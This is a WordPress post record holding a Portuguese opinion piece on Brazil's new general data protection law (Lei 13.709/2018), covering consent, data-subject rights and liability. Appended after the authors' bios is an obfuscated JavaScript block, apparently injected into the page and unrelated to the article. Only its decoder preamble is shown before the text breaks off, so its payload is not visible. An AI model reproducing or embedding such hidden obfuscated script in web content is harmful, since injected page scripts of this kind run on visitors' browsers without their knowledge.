{"id":680,"date":"2018-08-28T17:13:56","date_gmt":"2018-08-28T20:13:56","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/clipping-jota-impactos-positivos-da-nova-lei-brasileira-de-protecao-de-dados\/"},"modified":"2018-08-28T17:13:56","modified_gmt":"2018-08-28T20:13:56","slug":"clipping-jota-impactos-positivos-da-nova-lei-brasileira-de-protecao-de-dados","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/clipping-jota-impactos-positivos-da-nova-lei-brasileira-de-protecao-de-dados\/","title":{"rendered":"Clipping \u2013 Jota &#8211; Impactos positivos da nova lei brasileira de prote\u00e7\u00e3o de dados"},"content":{"rendered":"<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A edi&ccedil;&atilde;o da Lei 13.709, de 14 de agosto de 2018, que disp&otilde;e sobre a prote&ccedil;&atilde;o de dados pessoais e altera a Lei 12.965, de 23 de abril de 2014 (Marco Civil da Internet), pode ser desde j&aacute; saudada como um avan&ccedil;o, fazendo com que o Brasil integre o grupo de pa&iacute;ses que j&aacute; possuem legisla&ccedil;&atilde;o sobre o tema.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; No entanto, a frase de Siva Vaidhyanathan sintetiza com propriedade a problem&aacute;tica envolvida na atualidade com a tutela dos dados pessoais no ambiente contempor&acirc;neo das Tecnologias da Informa&ccedil;&atilde;o e Comunica&ccedil;&atilde;o.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; O que o autor denomina de economia da aten&ccedil;&atilde;o se refere ao modelo de neg&oacute;cios que passou a ser a estrutura base da Internet desde o in&iacute;cio deste s&eacute;culo, indicado &agrave; &eacute;poca pelo slogan da Web 2.0.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Em linhas gerais, trata-se de um neg&oacute;cio em que os servi&ccedil;os s&atilde;o aparentemente gratuitos mas essencialmente onerosos. Afinal, ningu&eacute;m &ldquo;paga&rdquo; para usar o Facebook, Google ou qualquer outra aplica&ccedil;&atilde;o da Internet. Mas estes fornecedores se tornaram as empresas mais valiosas do mundo porque seu neg&oacute;cio &eacute; remunerado pela publicidade e pelo uso indiscriminado dos algoritmos.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; O investimento do anunciante, por sua vez, &eacute; vantajoso, pois as aplica&ccedil;&otilde;es de Internet s&atilde;o capazes de coletar informa&ccedil;&otilde;es de quantidade imensur&aacute;vel dos usu&aacute;rios, indicando para quem oferta o produto o perfil exato de seu potencial consumidor.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; O modelo de remunera&ccedil;&atilde;o indireta (como indica o CDC) &eacute; chamado de marketing cruzado. O usu&aacute;rio paga com a informa&ccedil;&atilde;o que produz. E paga caro, pois a prote&ccedil;&atilde;o da privacidade nesse ambiente &ndash; vista como custo para os fornecedores &ndash; &eacute; o grande desafio do direito no ambiente digital.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; O Brasil sempre esteve atrasado na tutela dos usu&aacute;rios de Internet, muitas vezes deixados &agrave; pr&oacute;pria sorte na selva de um mercado voraz.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Nessa semana, finalmente, a lei geral de prote&ccedil;&atilde;o de dados saiu do papel.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Na esteira de muitas normativas estrangeiras, o Regramento Geral de Prote&ccedil;&atilde;o de Dados de 2018 &eacute; a mais proeminente e atual.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; A Lei n&ordm; 13.709\/2018, numa breve leitura, transmite boas impress&otilde;es, do ponto de vista da prote&ccedil;&atilde;o dos usu&aacute;rios da Internet. A prote&ccedil;&atilde;o de dados &eacute; vista como um direito fundamental aut&ocirc;nomo, essencial para o livre desenvolvimento da personalidade humana.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Em que pesem os vetos, especialmente &agrave; cria&ccedil;&atilde;o da Ag&ecirc;ncia Nacional de Prote&ccedil;&atilde;o de Dados e ao Conselho Nacional de Prote&ccedil;&atilde;o de Dados Pessoais e da Privacidade (respectivamente, nos artigos 55 e 58 do projeto de lei aprovado pelo Senado Federal e vetado pela Presid&ecirc;ncia da Rep&uacute;blica), a perspectiva parece positiva. &Agrave; Ag&ecirc;ncia Nacional de Prote&ccedil;&atilde;o de Dados caberia o papel de &ldquo;autoridade garante&rdquo;, como a famosa &ldquo;Garante Privacy&rdquo; italiana, j&aacute; presidida pelo jurista Stefano Rodot&agrave; &ndash; algo que j&aacute; foi sinalizado pelo Governo que ser&aacute; resolvido por lei de iniciativa privativa do Presidente da Rep&uacute;blica. Ao que tudo indica, tais &oacute;rg&atilde;os dever&atilde;o ser oportunamente criados.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; As aus&ecirc;ncias da Ag&ecirc;ncia Nacional e do Conselho Nacional, embora sentidas, n&atilde;o desmentem o indiscut&iacute;vel avan&ccedil;o trazido pela nova legisla&ccedil;&atilde;o, em rela&ccedil;&atilde;o ao direito anterior. A refer&ecirc;ncia &agrave; autoridade, em diversos dispositivos da nova lei, por um outro lado, n&atilde;o deixa de trazer uma sensa&ccedil;&atilde;o de vazio.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Por ora, enquanto n&atilde;o criados tais &oacute;rg&atilde;os, caber&aacute; ao Poder Judici&aacute;rio, no uso dos poderes que lhe confere a Constitui&ccedil;&atilde;o, interpretar e integrar o novo diploma, que inclusive cria novas hip&oacute;teses de responsabilidade civil, dificultando a vida das empresas do setor, at&eacute; ent&atilde;o empoderadas por uma legisla&ccedil;&atilde;o de legitimidade duvidosa ou, em outros casos, pela autorregula&ccedil;&atilde;o.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; A nova legisla&ccedil;&atilde;o se contrap&otilde;e &agrave; infeliz proposta, em discuss&atilde;o no Congresso Nacional, do PLP 441\/2017 , que torna obrigat&oacute;ria a participa&ccedil;&atilde;o de todos os consumidores no cadastro positivo, alterando diversos dispositivos da Lei n&ordm; 12.414, de 9 de junho de 2011. O objetivo do PLP &eacute; dar todo poder aos gestores de cadastros, publicizando e compartilhando obrigatoriamente as informa&ccedil;&otilde;es de adimplemento das pessoas naturais e jur&iacute;dicas, que passam a ser rotuladas com uma nota ou &ldquo;score&rdquo;, agora por imposi&ccedil;&atilde;o legal.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Alguns pontos da lei de prote&ccedil;&atilde;o de dados pessoais merecem destaque.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Primeiro, as exce&ccedil;&otilde;es previstas no art. 4&ordm;, com destaque para termos gen&eacute;ricos como &ldquo;seguran&ccedil;a p&uacute;blica&rdquo;, &ldquo;Defesa nacional&rdquo;, &ldquo;investiga&ccedil;&atilde;o criminal&rdquo; etc. aos quais a lei remete &agrave; legisla&ccedil;&atilde;o espec&iacute;fica. Em que pese a exce&ccedil;&atilde;o, segue a normativa constitucional e as regras da &ldquo;reserva de jurisdi&ccedil;&atilde;o&rdquo;, etc.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Segundo, os conceitos trazidos no art. 5&ordm;. Destacam-se os dados sens&iacute;veis, cuja doutrina sempre salientou a necessidade de regime jur&iacute;dico especial; tratamento de dados, definindo a atividade dos agentes que se submetem &agrave;s regras e san&ccedil;&otilde;es da lei. A lei os define(artigo 5&ordm;., II) como dados pessoais sobre origem racial ou &eacute;tnica, convic&ccedil;&atilde;o religiosa, opini&atilde;o pol&iacute;tica, filia&ccedil;&atilde;o a sindicato ou a organiza&ccedil;&atilde;o de car&aacute;ter religioso, filos&oacute;fico ou pol&iacute;tico, al&eacute;m daqueles referentes &agrave; sa&uacute;de ou vida sexual, dados gen&eacute;ticos ou biom&eacute;tricos, quando vinculados a uma pessoa natural.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Ainda no artigo 5&ordm;, deve ser enfatizado o contraponto entre os controladores &ndash; definidos no inciso VI como a pessoa natural ou jur&iacute;dica, de direito p&uacute;blico ou privado, a quem competem as decis&otilde;es referentes ao tratamento de dados pessoais &ndash; e os operadores , que realizam o tratamento de dados pessoais em nome dos controladores (inciso VII).<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Outro ponto de destaque diz respeito ao consentimento como ponto de partida para o processamento de dados pessoais. A prote&ccedil;&atilde;o de dados pessoais ganha autonomia em rela&ccedil;&atilde;o &agrave; privacidade, honra , identidade pessoal e imagem, de modo que, considerando-se a esfera privada como um conjunto de a&ccedil;&otilde;es, comportamentos, prefer&ecirc;ncias, opini&otilde;es e comportamentos pessoais sobre os quais o interessado pretende manter um controle exclusivo, essa tutela pressup&otilde;e uma autodetermina&ccedil;&atilde;o informativa.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; &Eacute; o que determina o artigo 7&ordm;, que estabelece como regra para o tratamento de dados pessoais o consentimento do titular, no seu inciso I. Fica dispensado o consentimento em hip&oacute;teses estritas, como o cumprimento de obriga&ccedil;&atilde;o legal ou regulat&oacute;ria pelo controlador (inciso II), o tratamento compartilhado de dados necess&aacute;rios &agrave; execu&ccedil;&atilde;o de pol&iacute;ticas p&uacute;blicas pela administra&ccedil;&atilde;o p&uacute;blica (inciso III), a realiza&ccedil;&atilde;o de estudos por &oacute;rg&atilde;o de pesquisa, garantida, sempre, que poss&iacute;vel, a anonimiza&ccedil;&atilde;o dos dados sens&iacute;veis (inciso IV), quando necess&aacute;rio para a execu&ccedil;&atilde;o de contrato ou de procedimentos preliminares a estes relacionados(inciso V), para o exerc&iacute;cio regular de direitos, em processo judicial, administrativo ou arbitral (inciso VI ), para a prote&ccedil;&atilde;o da vida ou da incolumidade f&iacute;sica do titular ou de terceiro ( inciso VII), para a tutela da sa&uacute;de (inciso VIII) ou quando necess&aacute;rio para atender aos interesses leg&iacute;timos do controlador ou do terceiro (inciso IX).<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Afinal, trata-se da autonomia para a constru&ccedil;&atilde;o da prote&ccedil;&atilde;o de dados, ou seja, do poder de controle sobre quem, quando e como ser&atilde;o estes exercidos.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Eis a raz&atilde;o de ser do artigo 15 e seguintes, com regras sobre o t&eacute;rmino do tratamento dos dados pessoais. Afinal, hoje &eacute; majorit&aacute;rio o reconhecimento do direito ao esquecimento, amplamente reconhecido pela doutrina (Enunciado 531 do Conselho da Justi&ccedil;a Federal), abarcando n&atilde;o apenas a possibilidade de apagar, mas ainda de desindexar informa&ccedil;&otilde;es descontextualizadas na Internet.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Sobre os direitos do titular dos dados, merece destaque a possibilidade de revoga&ccedil;&atilde;o do consentimento: afinal, a disponibilidade das situa&ccedil;&otilde;es existenciais integra a liberdade integrante da no&ccedil;&atilde;o de dignidade humana, pois sempre &eacute; poss&iacute;vel mudar de ideia.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Ao contr&aacute;rio do Marco Civil da Internet, que n&atilde;o demonstra essa preocupa&ccedil;&atilde;o, a n&atilde;o ser em dispositivos isolados, a Lei de Prote&ccedil;&atilde;o de Dados coloca em primeiro plano a pessoa humana, ou seja, o titular de dados pessoais, que tem reconhecidos seus direitos, no Artigo 18, em especial: &agrave; confirma&ccedil;&atilde;o da exist&ecirc;ncia de tratamento(inciso I); ao acesso aos dados(inciso II); &agrave; corre&ccedil;&atilde;o de dados incompletos, inexatos ou desatualizados(inciso III); &agrave; anonimiza&ccedil;&atilde;o, bloqueio ou elimina&ccedil;&atilde;o de dados desnecess&aacute;rios, excessivos ou tratados em desconformidade com o disposto na mesma lei(inciso IV); &agrave; portabilidade dos dados a outro fornecedor de servi&ccedil;o ou produto, mediante requisi&ccedil;&atilde;o expressa e observados o segredo comercial e industrial, de acordo com a regulamenta&ccedil;&atilde;o do &oacute;rg&atilde;o controlador(inciso V); &agrave; elimina&ccedil;&atilde;o dos dados pessoais tratados com o consentimento do titular, exceto nas hip&oacute;teses previstas no art. 16 desta Lei; &agrave; informa&ccedil;&atilde;o das entidades p&uacute;blicas e privadas com as quais o controlador realizou uso compartilhado de dados(inciso VII); &agrave; informa&ccedil;&atilde;o sobre a possibilidade de n&atilde;o fornecer consentimento e sobre as consequ&ecirc;ncias da negativa; IX- &agrave; revoga&ccedil;&atilde;o do consentimento, nos termos do par&aacute;grafo quinto do artigo 8&ordm; desta Lei.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Al&eacute;m disso, destaque tamb&eacute;m para o direito de o usu&aacute;rio requisitar seus dados independentemente de judicializa&ccedil;&atilde;o, tend&ecirc;ncia louv&aacute;vel se comparada ao Marco Civil da Internet no regime de responsabilidade dos provedores por conte&uacute;do inserido por terceiros, condicionada &agrave; dif&iacute;cil via judicial.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; No que tange aos regimes especiais, a lei traz regras espec&iacute;ficas sobre o tratamento de dados de crian&ccedil;as e adolescentes e aponta diretrizes na conduta do poder p&uacute;blico fora das situa&ccedil;&otilde;es excepcionais do art. 3&ordm;.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Mas peca a nova lei quando, ao tratar de responsabilidade civil (art. 43, III), acaba por isentar o agente causador do dano quando h&aacute; &ldquo;culpa exclusiva&rdquo;da v&iacute;tima, o que poder&aacute; trazer interpreta&ccedil;&otilde;es desarrazoadas especialmente quando se tratar de v&iacute;timas vulner&aacute;veis (mulheres, adolescentes, idosos, etc.).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Al&eacute;m da vagueza de certos termos previstos nas san&ccedil;&otilde;es adminsitrativas quando se trata da possibilidade de isentar o agente ou mesmo de mitigar a dosimetria da multa.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Mesmo assim, em que pesem as cr&iacute;ticas, &eacute; em hora boa que o Brasil aprova uma lei geral de prote&ccedil;&atilde;o de dados, procurando se adequar aos standards de prote&ccedil;&atilde;o europeus, hoje referencia para o mundo especialmente ap&oacute;s esc&acirc;ndalos como o do Facebook com a empresa Cambdge Analytica.<\/p>\n<p>&nbsp;&nbsp;&nbsp;&nbsp; N&atilde;o sejamos pessimistas ao enxergar uma legisla&ccedil;&atilde;o morta-viva, mas, pelo contr&aacute;rio, tenhamos f&eacute; e mudemos a nossa lente. Trata-se de um rec&eacute;m-nascido que dever&aacute; ser alimentado, nutrido, criado e interpretado, conforme a Constitui&ccedil;&atilde;o da Rep&uacute;blica, e &agrave; luz do sistema integrado pelo C&oacute;digo Civil e pelo C&oacute;digo do Consumidor, enquanto houver ju&iacute;zes em Berlim.<\/p>\n<p><strong><em>GUILHERME MAGALH&Atilde;ES MARTINS &ndash; Promotor de Justi&ccedil;a no Estado do Rio de Janeiro e Professor de Direito Civil da Faculdade Nacional de Direito &ndash; UFRJ. Doutor e Mestre em Direito Civil pela Faculdade de Direito da UERJ.<\/em><\/strong><\/p>\n<p style=\"text-align: justify;\">\n<strong><em>JO&Atilde;O VICTOR ROZATTI LONGHI &ndash; Professor de Direito Civil da Faculdade de Direito da Universidade Federal de Uberl&acirc;ndia. Doutor em Direito Constitucional pela USP e Mestre em Direito Civil pela UERJ.<\/em><\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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